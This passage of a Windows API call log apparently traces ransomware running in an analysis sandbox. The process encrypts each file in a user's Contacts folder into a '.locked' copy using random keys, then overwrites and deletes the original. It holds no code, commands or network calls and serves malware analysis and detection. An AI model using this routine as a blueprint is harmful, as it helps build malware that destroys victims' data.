	[0067.296] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e)) returned 1
	[0067.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.296] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.296] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.297] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0067.297] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0067.297] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0067.297] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.298] VirtualAlloc (lpAddress=0x13250000, dwSize=0x9d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x13250000
	[0067.321] VirtualAlloc (lpAddress=0x10fbe000, dwSize=0x9c000, flAllocationType=0x1000, flProtect=0x4) returned 0x10fbe000
	[0067.322] VirtualAlloc (lpAddress=0x21a7000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x21a7000
	[0067.354] SetEvent (hEvent=0x80) returned 1
	[0067.354] ReadFile (in: hFile=0xc0, lpBuffer=0x12bba000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12bba000*, lpNumberOfBytesRead=0x127eebdc*=0x10b1e, lpOverlapped=0x0) returned 1
	[0067.357] WriteFile (in: hFile=0xc4, lpBuffer=0x12bba000*, nNumberOfBytesToWrite=0x10b1e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12bba000*, lpNumberOfBytesWritten=0x127eebe8*=0x10b1e, lpOverlapped=0x0) returned 1
	[0067.358] ReadFile (in: hFile=0xc0, lpBuffer=0x12bba000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12bba000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.358] CloseHandle (hObject=0xc4) returned 1
	[0067.360] CloseHandle (hObject=0xc0) returned 1
	[0067.360] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0067.361] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.363] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact")) returned 1
	[0067.367] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.368] SetEvent (hEvent=0xa8) returned 1
	[0067.368] SetEvent (hEvent=0x80) returned 1
	[0067.369] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.369] SetEvent (hEvent=0x80) returned 1
	[0067.369] SetEvent (hEvent=0x8c) returned 1
	[0067.369] SetEvent (hEvent=0xb4) returned 1
	[0067.369] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.369] SetEvent (hEvent=0xb4) returned 1
	[0067.386] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.386] SetEvent (hEvent=0xa8) returned 1
	[0067.386] SetEvent (hEvent=0xb4) returned 1
	[0067.388] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0067.389] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.389] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.389] SetEvent (hEvent=0xb4) returned 1
	[0067.389] SetEvent (hEvent=0x8c) returned 1
	[0067.389] SetEvent (hEvent=0x80) returned 1
	[0067.389] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.389] SetEvent (hEvent=0xa8) returned 1
	[0067.390] SetEvent (hEvent=0x80) returned 1
	[0067.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.390] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.391] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.407] CloseHandle (hObject=0xc0) returned 1
	[0067.417] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact")) returned 1
	[0067.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493)) returned 1
	[0067.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.426] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.427] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.427] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0067.427] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0067.427] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0067.427] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.439] SetEvent (hEvent=0x8c) returned 1
	[0067.439] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x493, lpOverlapped=0x0) returned 1
	[0067.441] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x493, lpOverlapped=0x0) returned 1
	[0067.442] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.442] CloseHandle (hObject=0xc4) returned 1
	[0067.443] CloseHandle (hObject=0xc0) returned 1
	[0067.443] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0067.445] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.446] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact")) returned 1
	[0067.451] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.452] SetEvent (hEvent=0xa8) returned 1
	[0067.452] SetEvent (hEvent=0x8c) returned 1
	[0067.453] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.453] SetEvent (hEvent=0x8c) returned 1
	[0067.453] SetEvent (hEvent=0x78) returned 1
	[0067.453] SetEvent (hEvent=0xb4) returned 1
	[0067.453] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.454] SetEvent (hEvent=0xb4) returned 1
	[0067.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.470] SetEvent (hEvent=0xa8) returned 1
	[0067.470] SetEvent (hEvent=0xb4) returned 1
	[0067.472] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.472] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.472] SetEvent (hEvent=0xb4) returned 1
	[0067.472] SetEvent (hEvent=0x78) returned 1
	[0067.472] SetEvent (hEvent=0x8c) returned 1
	[0067.472] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.473] SetEvent (hEvent=0x8c) returned 1
	[0067.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.474] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.474] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.490] CloseHandle (hObject=0xc0) returned 1
	[0067.498] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact")) returned 1
	[0067.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499)) returned 1
	[0067.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.507] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.508] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.508] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0067.508] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0067.508] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0067.508] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.510] SetEvent (hEvent=0x78) returned 1
	[0067.510] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x499, lpOverlapped=0x0) returned 1
	[0067.523] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x499, lpOverlapped=0x0) returned 1
	[0067.524] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.524] CloseHandle (hObject=0xc4) returned 1
	[0067.524] CloseHandle (hObject=0xc0) returned 1
	[0067.525] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0067.526] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.528] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact")) returned 1
	[0067.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.532] SetEvent (hEvent=0xa8) returned 1
	[0067.532] SetEvent (hEvent=0x78) returned 1
	[0067.533] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.534] SetEvent (hEvent=0x78) returned 1
	[0067.534] SetEvent (hEvent=0x80) returned 1
	[0067.534] SetEvent (hEvent=0xb4) returned 1
	[0067.534] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.534] SetEvent (hEvent=0xb4) returned 1
	[0067.551] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.551] SetEvent (hEvent=0xa8) returned 1
	[0067.551] SetEvent (hEvent=0xb4) returned 1
	[0067.553] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.553] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.554] SetEvent (hEvent=0xb4) returned 1
	[0067.554] SetEvent (hEvent=0x80) returned 1
	[0067.554] SetEvent (hEvent=0x78) returned 1
	[0067.554] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.554] SetEvent (hEvent=0x78) returned 1
	[0067.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.555] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.555] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.571] CloseHandle (hObject=0xc0) returned 1
	[0067.578] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact")) returned 1
	[0067.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c)) returned 1
	[0067.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496)) returned 1
	[0067.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.587] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.588] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0067.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961d0 | out: pbBuffer=0x127961d0) returned 1
	[0067.588] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0067.588] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.591] SetEvent (hEvent=0x80) returned 1
	[0067.591] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x496, lpOverlapped=0x0) returned 1
	[0067.593] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x496, lpOverlapped=0x0) returned 1
	[0067.593] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.593] CloseHandle (hObject=0xc4) returned 1
	[0067.594] CloseHandle (hObject=0xc0) returned 1
	[0067.594] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0067.596] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.597] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact")) returned 1
	[0067.601] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.602] SetEvent (hEvent=0xa8) returned 1
	[0067.602] SetEvent (hEvent=0x80) returned 1
	[0067.603] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.603] SetEvent (hEvent=0x80) returned 1
	[0067.603] SetEvent (hEvent=0x8c) returned 1
	[0067.603] SetEvent (hEvent=0xb4) returned 1
	[0067.603] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.604] SetEvent (hEvent=0xb4) returned 1
	[0067.620] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.620] SetEvent (hEvent=0xa8) returned 1
	[0067.620] SetEvent (hEvent=0xb4) returned 1
	[0067.622] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.622] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.622] SetEvent (hEvent=0xb4) returned 1
	[0067.622] SetEvent (hEvent=0x8c) returned 1
	[0067.622] SetEvent (hEvent=0x80) returned 1
	[0067.623] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.623] SetEvent (hEvent=0x80) returned 1
	[0067.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.624] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.624] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.640] CloseHandle (hObject=0xc0) returned 1
	[0067.650] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact")) returned 1
	[0067.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494)) returned 1
	[0067.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.659] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
